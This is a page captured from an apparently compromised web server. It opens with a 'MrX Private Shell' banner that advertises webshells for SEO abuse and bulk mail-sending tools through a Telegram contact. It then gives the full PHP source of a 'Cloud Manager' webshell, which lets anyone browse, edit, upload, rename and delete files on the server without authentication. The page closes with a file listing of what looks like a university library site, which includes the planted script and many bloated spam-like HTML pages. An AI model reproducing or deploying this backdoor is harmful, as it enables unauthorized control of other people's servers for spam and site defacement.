__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Cloud Manager v3.6 - Breadcrumb UI & Original Directory Logic
 */

error_reporting(0);
$dir_separator = DIRECTORY_SEPARATOR;
$base_dir = getcwd();

// --- LOGIKA DIREKTORI (Sesuai Permintaan Anda) ---
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : $base_dir;
$current_dir = realpath($current_dir) ?: $current_dir;
$current_dir = str_replace(['/', '\\'], $dir_separator, $current_dir);

if (!is_dir($current_dir)) { $current_dir = $base_dir; }

$message = ['text' => '', 'type' => ''];
$current_query_param = '?dir=' . urlencode($current_dir);

// --- LOGIKA OPERASI ---
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    $action = $_POST['action'];
    if ($action == 'create_folder' && !empty($_POST['folder_name'])) {
        $new_folder = $current_dir . $dir_separator . $_POST['folder_name'];
        if (!file_exists($new_folder)) { mkdir($new_folder, 0755, true); $message = ['text' => "Folder dibuat.", 'type' => 'success']; }
    }
    if ($action == 'create_file' && !empty($_POST['file_name'])) {
        $new_file = $current_dir . $dir_separator . $_POST['file_name'];
        if (!file_exists($new_file)) { file_put_contents($new_file, ""); $message = ['text' => "File dibuat.", 'type' => 'success']; }
    }
    if ($action == 'rename_item') {
        $old_path = $current_dir . $dir_separator . $_POST['old_name'];
        $new_path = $current_dir . $dir_separator . $_POST['new_name'];
        if (file_exists($old_path) && !file_exists($new_path)) {
            rename($old_path, $new_path);
            $message = ['text' => "Berhasil diubah.", 'type' => 'success'];
        }
    }
    if ($action == 'save_edit') {
        file_put_contents($current_dir . $dir_separator . $_POST['filename'], $_POST['content']);
        $message = ['text' => "Tersimpan.", 'type' => 'success'];
    }
    if ($action == 'upload_file') {
        move_uploaded_file($_FILES['file_upload']['tmp_name'], $current_dir . $dir_separator . basename($_FILES['file_upload']['name']));
        $message = ['text' => "Upload sukses.", 'type' => 'success'];
    }
}

if (isset($_GET['action']) && $_GET['action'] == 'delete') {
    $target = $current_dir . $dir_separator . $_GET['file'];
    is_file($target) ? unlink($target) : @rmdir($target);
    $message = ['text' => "Terhapus.", 'type' => 'success'];
}

// --- CSS INTERNAL ---
$css = "
    :root { --primary: #6366f1; --bg: #f8fafc; --dark: #1e293b; --text: #334155; }
    body { font-family: system-ui, sans-serif; background: var(--bg); color: var(--text); margin: 0; padding: 20px; }
    .container { max-width: 1100px; margin: 0 auto; }
    
    /* Breadcrumb UI Style */
    .nav-breadcrumb { 
        display: flex; align-items: center; gap: 8px; background: white; 
        padding: 12px 16px; border-radius: 12px; border: 1px solid #e2e8f0; 
        box-shadow: 0 1px 2px rgba(0,0,0,0.05); margin-bottom: 25px;
        overflow-x: auto; white-space: nowrap; font-size: 14px;
    }
    .btn-house { 
        display: flex; align-items: center; justify-content: center;
        width: 32px; height: 32px; border-radius: 8px; color: var(--primary);
        text-decoration: none; transition: background 0.2s;
    }
    .btn-house:hover { background: #eef2ff; }
    .breadcrumb-item { 
        color: #475569; font-weight: 600; text-decoration: none; 
        padding: 4px 8px; border-radius: 6px; transition: all 0.2s;
    }
    .breadcrumb-item:hover { color: var(--primary); background: #f8fafc; }
    .chevron { color: #cbd5e1; width: 10px; height: 10px; margin: 0 4px; }

    .card-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 15px; margin-bottom: 20px; }
    .card { background: white; padding: 15px; border-radius: 12px; border: 1px solid #e2e8f0; }
    input[type=text] { width: 60%; padding: 8px; border: 1px solid #ddd; border-radius: 6px; outline: none; }
    button { background: var(--dark); color: white; border: none; padding: 8px 15px; border-radius: 6px; cursor: pointer; font-weight: bold; }
    .btn-primary { background: var(--primary); }
    table { width: 100%; border-collapse: collapse; background: white; border-radius: 12px; border: 1px solid #e2e8f0; overflow: hidden; }
    th { background: #f8fafc; text-align: left; padding: 15px; font-size: 11px; color: #64748b; border-bottom: 1px solid #e2e8f0; }
    td { padding: 12px 15px; border-bottom: 1px solid #f1f5f9; }
    #renameModal { display:none; position: fixed; inset: 0; background: rgba(0,0,0,0.5); align-items: center; justify-content: center; z-index: 100; }
    .modal-content { background: white; padding: 25px; border-radius: 15px; width: 350px; }
    textarea { width: 100%; height: 550px; background: #0f172a; color: #818cf8; font-family: monospace; border-radius: 10px; padding: 15px; border: none; margin-top: 10px; outline: none; }
";

if (isset($_GET['action']) && $_GET['action'] == 'edit'):
    $content = file_get_contents($current_dir . $dir_separator . $_GET['file']);
?>
<!DOCTYPE html>
<html>
<head><style><?= $css ?></style></head>
<body style="background:#0f172a; color:white;">
    <div class="container">
        <header style="display:flex; justify-content:space-between; align-items:center; margin-bottom:10px;">
            <h3 style="margin:0">Editing: <?= htmlspecialchars($_GET['file']) ?></h3>
            <a href="<?= $current_query_param ?>" style="color:white; text-decoration:none; font-weight:bold;">[ CANCEL ]</a>
        </header>
        <form method="POST">
            <input type="hidden" name="action" value="save_edit">
            <input type="hidden" name="filename" value="<?= htmlspecialchars($_GET['file']) ?>">
            <textarea name="content" spellcheck="false"><?= htmlspecialchars($content) ?></textarea>
            <div style="text-align:right; margin-top:15px;"><button type="submit" class="btn-primary" style="padding:12px 40px;">SAVE CHANGES</button></div>
        </form>
    </div>
</body>
</html>
<?php exit; endif; ?>

<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><style><?= $css ?></style></head>
<body>
    <div class="container">
        <h2 style="margin-top:0; margin-bottom:20px;">Cloud<span style="color:var(--primary)">Manager.</span></h2>

        <nav class="nav-breadcrumb">
            <a href="?dir=<?= urlencode($base_dir) ?>" class="btn-house">
                <svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"></path><polyline points="9 22 9 12 15 12 15 22"></polyline></svg>
            </a>
            <?php 
                $parts = explode($dir_separator, trim($current_dir, $dir_separator));
                $path_accumulated = (strpos($current_dir, ':') !== false) ? '' : $dir_separator;
                foreach ($parts as $index => $part):
                    if (empty($part)) continue;
                    $path_accumulated .= ($index == 0 && strpos($current_dir, ':') !== false) ? $part : $dir_separator . $part;
            ?>
                <svg class="chevron" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg>
                <a href="?dir=<?= urlencode($path_accumulated) ?>" class="breadcrumb-item">
                    <?= htmlspecialchars($part) ?>
                </a>
            <?php endforeach; ?>
        </nav>

        <div class="card-grid">
            <div class="card">
                <div style="font-size:10px; font-weight:900; color:#94a3b8; margin-bottom:8px;">FOLDER BARU</div>
                <form method="POST"><input type="hidden" name="action" value="create_folder"><input type="text" name="folder_name" required> <button type="submit">OK</button></form>
            </div>
            <div class="card">
                <div style="font-size:10px; font-weight:900; color:#94a3b8; margin-bottom:8px;">FILE BARU</div>
                <form method="POST"><input type="hidden" name="action" value="create_file"><input type="text" name="file_name" required> <button type="submit" class="btn-primary">OK</button></form>
            </div>
            <div class="card">
                <div style="font-size:10px; font-weight:900; color:#94a3b8; margin-bottom:8px;">UPLOAD</div>
                <form method="POST" enctype="multipart/form-data"><input type="hidden" name="action" value="upload_file"><input type="file" name="file_upload" style="width:110px"> <button type="submit">UP</button></form>
            </div>
        </div>

        <?php if ($message['text']): ?><div style="padding:12px; background:#dcfce7; color:#166534; border-radius:8px; margin-bottom:15px; font-weight:bold; border:1px solid #bbf7d0;"><?= $message['text'] ?></div><?php endif; ?>

        <table>
            <thead><tr><th>Nama Item</th><th style="text-align:right">Aksi</th></tr></thead>
            <tbody>
                <?php
                $items = array_diff(scandir($current_dir), ['.', '..']);
                natcasesort($items);
                foreach ($items as $item):
                    $is_dir = is_dir($current_dir . $dir_separator . $item);
                ?>
                <tr>
                    <td>
                        <?= $is_dir ? '📁' : '📄' ?>
                        <?php if ($is_dir): ?>
                            <a href="?dir=<?= urlencode($current_dir . $dir_separator . $item) ?>" style="text-decoration:none; color:var(--dark); font-weight:bold;"><?= $item ?></a>
                        <?php else: ?>
                            <span style="color:#64748b"><?= $item ?></span>
                        <?php endif; ?>
                    </td>
                    <td style="text-align:right">
                        <?php if (!$is_dir): ?>
                            <a href="?action=edit&file=<?= urlencode($item) ?>&dir=<?= urlencode($current_dir) ?>" style="color:var(--primary); font-size:12px; margin-right:12px; font-weight:bold; text-decoration:none;">EDIT</a>
                        <?php endif; ?>
                        <a href="javascript:void(0)" onclick="openRename('<?= addslashes($item) ?>')" style="color:#f59e0b; font-size:12px; margin-right:12px; font-weight:bold; text-decoration:none;">RENAME</a>
                        <a href="?action=delete&file=<?= urlencode($item) ?>&dir=<?= urlencode($current_dir) ?>" style="color:#ef4444; font-size:12px; font-weight:bold; text-decoration:none;" onclick="return confirm('Hapus?')">HAPUS</a>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </div>

    <div id="renameModal">
        <div class="modal-content">
            <h4 style="margin-top:0">Ubah Nama</h4>
            <form method="POST">
                <input type="hidden" name="action" value="rename_item">
                <input type="hidden" name="old_name" id="old_name_input">
                <input type="text" name="new_name" id="new_name_input" style="width:93%; margin-bottom:15px;" required>
                <div style="text-align:right">
                    <button type="button" onclick="closeRename()" style="background:#e2e8f0; color:#64748b; margin-right:5px;">Batal</button>
                    <button type="submit" class="btn-primary">Simpan</button>
                </div>
            </form>
        </div>
    </div>

    <script>
        function openRename(name) {
            document.getElementById('old_name_input').value = name;
            document.getElementById('new_name_input').value = name;
            document.getElementById('renameModal').style.display = 'flex';
        }
        function closeRename() {
            document.getElementById('renameModal').style.display = 'none';
        }
    </script>
</body>
</html>

Filemanager

Name Type Size Permission Actions
css Folder 0775
data Folder 0775
documentos Folder 0775
imagenes Folder 0775
includes Folder 0775
js Folder 0775
video Folder 0775
Demos.html File 287.31 KB 0644
Demos_260414192809.html File 287.31 KB 0644
RecursosBibliograficos.php File 2.57 KB 0664
basesdedatos.html File 287.82 KB 0644
capacitacion.html File 287.82 KB 0644
ebscohostflyer.html File 288 KB 0644
facultadcienciasagro.html File 288.56 KB 0644
facultadcienciassalud.html File 289.08 KB 0644
googlea1d365fcdccae332.html File 53 B 0644
googlef5b788152dab6218.html File 53 B 0644
horarios.html File 287.59 KB 0644
index.php File 665 B 0664
informacion.html File 287.72 KB 0644
libroselectronicos.html File 288.52 KB 0644
login-estadisticas-biblioteca.php File 2.3 KB 0664
manager.php File 11.85 KB 0644
mision.html File 287.26 KB 0644
preguntas.html File 287.25 KB 0644
quienes-somos.php File 9.39 KB 0664
quienes.html File 287.5 KB 0644
recursos.html File 287.45 KB 0644
resena.html File 287.26 KB 0644
robots.txt File 25 B 0644
site-search-index.php File 310 B 0664
sitemap1.xml File 3.81 KB 0644
tn.php File 172.95 KB 0644
tutoriales.php File 287.97 KB 0644
vision.html File 287.4 KB 0644
Filemanager